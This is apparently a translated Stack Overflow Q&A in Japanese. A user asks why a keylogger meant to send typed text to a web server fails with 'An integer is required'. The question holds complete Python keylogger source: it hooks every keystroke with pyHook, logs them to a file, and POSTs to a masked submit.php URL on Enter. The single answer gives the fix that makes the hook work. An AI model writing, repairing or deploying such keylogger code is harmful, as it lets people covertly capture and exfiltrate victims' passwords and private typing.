1

テキストを Web サーバーに送信するキーロガーを作成しようとしています。pyHook と httplib2 を使用して、それらを別々に機能させることができました。ただし、この 2 つを結合しようとすると、次のエラーが発生します。

An integer is required

正直なところ、なぜこれが引き起こされるのかわかりません。どちらの機能も単独で動作するのに、なぜそれらを組み合わせることができないのでしょうか? 助言がありますか?

ありがとう!

import pyHook
import pythoncom
import time
from httplib2 import Http
from urllib import urlencode

h = Http()

log_file = "control.txt"        
message = ""
f = open(log_file,"a")
def pressed_chars(event):
    if event.Ascii:
        global message
        char = chr(event.Ascii)
        if char == "q":
            f.close()
            exit()
        if event.Ascii == 13:
            f.write("\n")
            data = dict(cmd="openurl")
            testVar = h.request("http://www.**********/submit.php", "POST", urlencode(data))
            message = ""
        f.write(char) 
        message = message+char
        print(message)

proc = pyHook.HookManager()
proc.KeyDown = pressed_chars
proc.HookKeyboard()
pythoncom.PumpMessages()  
4

1 に答える 1

2

で True を返していないようですpressed_chars。行を追加してみて、return True機能するかどうかを確認してください!

于 2016-01-28T18:05:20.160 に答える